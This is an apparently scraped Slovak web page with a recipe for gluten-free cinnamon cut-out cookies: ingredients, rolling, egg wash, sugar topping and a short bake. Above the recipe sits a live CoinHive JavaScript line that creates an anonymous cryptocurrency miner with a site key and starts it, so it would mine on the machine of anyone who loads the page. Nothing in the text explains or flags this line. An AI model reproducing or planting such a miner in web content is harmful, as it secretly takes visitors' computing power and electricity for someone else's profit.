var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 380 g bezlepkovej múky, 120 g práškového cukru, 250 g masla (Hera), 1 vanilkový cukor, 1 ČL mletej škorice, 1 vajíčko, kryštálový cukor na posypanie, 1 vajíčko na potretie

Postup: Spravíme cesto, ktoré vyvaľkáme na hrúbku cca 0,5 cm a povykrajujeme z neho ľubovoľné tvary. Koláčiky ukladáme na plech vystlaný papierom na pečenie, potrieme vyšľahaným vajíčkom a posypeme kryštálovým cukrom. Pečieme pri teplote 190-200°C na cca 6-7 minút.

Poznámka: Vypracované cesto je vhodné nechať odležať v chladničke.